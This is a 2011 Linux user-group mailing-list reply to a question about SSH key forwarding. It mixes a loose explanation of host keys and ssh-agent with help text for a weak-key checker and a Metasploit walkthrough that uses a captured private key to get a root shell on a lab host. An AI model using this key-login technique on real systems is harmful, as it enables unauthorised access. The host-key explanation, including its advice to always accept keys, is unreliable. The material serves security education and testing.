Gutten tag:
On Tue, Jan 18, 2011 at 1:40 AM, der.hans <
PLUGd@lufthans.com> wrote:
> Am 05. Jan, 2011 schwätzte Kurt Granroth so:
>
> 2. You SSH credentials "follow" you when ssh'ing from the remote server
>> to another one
>>
>
> Is there a way to get just the key you used to follow you?
>
> ciao,
>
> der.hans
> --
> # http://www.LuftHans.com/ http://www.LuftHans.com/Classes/
> # ABLEconf - 2011Apr02 - CfP 2010Jan22 - Free Software for Free Enterprise
> # "If class warfare is being waged in America, my class is clearly
> winning."
> # -- Warren Buffett
>
SSH establishes encrypted connections by the exchange of *host keys*. When a
remote system gives your local system its *host key* it is basically telling
your local system how to encrypt data so that the remote system can then
unencrypt it.
When you make an SSH connection to a remote machine, it sends you its *host
key*. You will then be prompted as to whether or not you want to accept this
key, and/or whether or not you want to store it for later reference (for the
next time you connect to that remote system). In general you always want to
say "yes" to both of these questions.
For more details on what the SSH protocol is, what it can do, and where it
is going, please see the official SSH
FAQ.<
http://www.onsight.com/ssh/faq/ssh-faq.html>
How to determine your host key when leap-frogging from one server to
another:
0) SSH
Easiest way to get information is using ssh-agent <man:/ssh-agent%281%29>.
Let's see what happens if we just run it:
To get these commands to mean something to the current shell, we can do
this:
% ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-XXQ3QdKZ/agent.12080; export SSH_AUTH_SOCK;
SSH_AGENT_PID=12081; export SSH_AGENT_PID; echo Agent pid 12081;
So by running ssh-agent <man:/ssh-agent%281%29> we get shell commands
describing how to communicate with a running agent. But these are
Bourne-flavored shell commands---to get C-shell-flavored commands, we need
to run it with the -c option:
% ssh-agent -c setenv
SSH_AUTH_SOCK /tmp/ssh-XXQ3QdKZ/agent.12080; setenv SSH_AGENT_PID 12081;
echo Agent pid 12081;
% eval `ssh-agent -c`
Agent pid 12081
Now, instead of printing the shell commands out to the terminal, the shell
interprets them. You can then see the effect:
% echo $SSH_AGENT_PID
12081
1) Other Tools:
a) downkd.pl
A great number of older SSH servers include easily exploited keys, like the
Debian OpenSSL Vulnerability:
Using downkd.pl:
COMMAND is one of:
file: examine files on the command line for weak keys
host: examine the specified hosts for weak SSH keys
(change destination port with "host -p PORT HOST...")
user: examine user SSH keys for weakness; examine all users if no
users are given
quick: check this host for weak keys (encompasses "user" plus
heuristics to find keys in /etc)
help: show this help screen
version: show version information
OPTIONS is one of:
-c FILE: set the database cache file name (default: dowkd.db)
dowkd currently handles the following OpenSSH host and user keys,
provided they have been generated on a little-endian architecture
(such as i386 or amd64):
RSA/1024, RSA/2048, RSA1/1024, RSA1/2048
RSA/4096
DSA/1024
(The relevant OpenSSH versions in Debian do not support DSA key
generation with other sizes.)
OpenVPN shared also detected if they have been created on
little-endian architectures.
Unencrypted RSA private keys and PEM certificate files generated by
OpenSSL are detected, provided they use key lengths of 1024, 2048 or
4096 bits (again, only for little-endian architectures).
Note that the blacklist by dowkd may be incomplete; it is only
intended as a quick check.
b) Metasploit SSH Key Login Scanner
auxiliary/scanner/ssh/ssh_login_scanner SSH Public Key Login Scanner
This module will test ssh logins on a range of machines using a defined
private key file, and report successful logins. If you have loaded a
database plugin and connected to a database this module will record
successful logins and hosts so you can track your access. Note that
password-protected key files will not function with this module -- it is
designed specifically for unencrypted (passwordless) keys. Key files may be
a single private (unencrypted) key, or several private keys concatenated
together as an ASCII text file. Non-key data should be silently ignored.
c) Metasploit SSH Key Login Pubkey
SSH Login Pubkey
auxiliary/scanner/ssh/ssh_login_pubkey Using public key authentication for
SSH is highly regarded as being far more secure than using usernames and
passwords to authenticate. The caveat to this is that if the private key
portion of the key pair is not kept secure, the security of the
configuration is thrown right out the window. If, during an engagement, you
get access to a private SSH key, you can use the ssh_login_pubkey module to
attempt to login across a range of devices.
msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to
bruteforce, from 0 to 5
KEY_FILE no Filename of one or
several cleartext private keys.
RHOSTS yes The target address
range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a
credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to
authenticate as
USERPASS_FILE no File containing users
and passwords separated by space, one pair per line
USER_FILE no File containing
usernames, one per line
VERBOSE true yes Whether to print
output for all attempts
msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
KEY_FILE => /tmp/id_rsa
msf auxiliary(ssh_login_pubkey) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154
RHOSTS => 192.168.1.154
msf auxiliary(ssh_login_pubkey) > run
[*] 192.168.1.154:22 - SSH - Testing Cleartext Keys
[*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user.
[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600
[+] 192.168.1.154:22 - SSH - Success:
'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root)
gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1
SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) > sessions -i 1
[*] Starting interaction with 1...
ls
reset_logs.sh
id
uid=0(root) gid=0(root) groups=0(root)
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login_pubkey) >
REFERENCES:
sh-3.2# ssh -v
OpenSSH_5.2p1, OpenSSL 0.9.7l 28 Sep 2006
usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
[-D [bind_address:]port] [-e escape_char] [-F configfile]
[-i identity_file] [-L [bind_address:]port:host:hostport]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-R [bind_address:]port:host:hostport] [-S ctl_path]
[-w local_tun[:remote_tun]] [user@]hostname [command]
http://www.softpanorama.org/Net/Application_layer/ssh.shtml
http://pentestmonkey.net/blog/metasploit-ssh-key-database/
http://www.metasploit.com/modules/auxiliary/scanner/ssh/ssh_login_pubkey
http://www.offensive-security.com/metasploit-unleashed/SSH_SSH_Login_Pubkey
--
"The mantra of any good security engineer is:* 'Security is a not a product,
but a process.' * It's more than designing strong cryptography into a
system; it's designing the entire system such that all security measures,
including cryptography, work together." — Bruce Schneier
(503) 754-4452
(623) 688-3392
http://www.obnosis.com
---------------------------------------------------
PLUG-discuss mailing list -
PLUG-discuss@lists.plug.phoenix.az.us
To subscribe, unsubscribe, or to change your mail settings:
http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
(text/plain)